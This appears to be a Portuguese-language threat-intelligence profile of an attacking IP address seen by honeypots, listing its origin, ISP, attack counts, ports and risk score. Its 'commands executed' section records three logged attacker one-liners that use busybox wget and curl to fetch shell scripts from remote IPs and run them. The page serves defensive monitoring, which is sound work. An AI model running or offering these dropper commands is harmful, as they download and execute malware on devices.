⚠TROYANOSYVIRUS
Ameaca Ativa • ALTO

176.65.139.20

Pais de Origem🇸🇬 Singapur
Primeira Deteccao02/02/2026
Ultima Atividade23/02/2026
ISPOVH SAS
🎯
38
Ataques Totais
🔌
12
Portas
📡
6
Tipos de Ataque
🦠
0
Malware

Geolocalizacao

Pais
🇸🇬 Singapur
Cidade
Desconhecida
ASN
AS16276
ISP
OVH SAS

Tipos de Ataque

cowrie
honeyaml
adbhoney
dionaea
tanner
honeytrap

Portas Atacadas

2380813000300155005555603617000170014563456575

Malware Associado

Sem malware associado

Comandos Executados

$cd /data/local/tmp/; busybox wget http://176.65.139.21/file/w.sh; sh w.sh; curl http://176.65.139.21/file/c.sh; sh c.sh2x
$cd /data/local/tmp/; busybox wget http://130.12.180.120/file/w.sh; sh w.sh; curl http://130.12.180.120/file/c.sh; sh c.sh1x
$cd /data/local/tmp/ || cd /tmp ||cd /var/run||cd /mnt||cd /root || cd /; busybox wget -q http://130.12.180.151/file/w.sh; sh w.sh; curl -O http://130.12.180.151/file/c.sh; sh c.sh;1x

Avaliacao de Risco

60
/100
BaixoMedioAltoCritico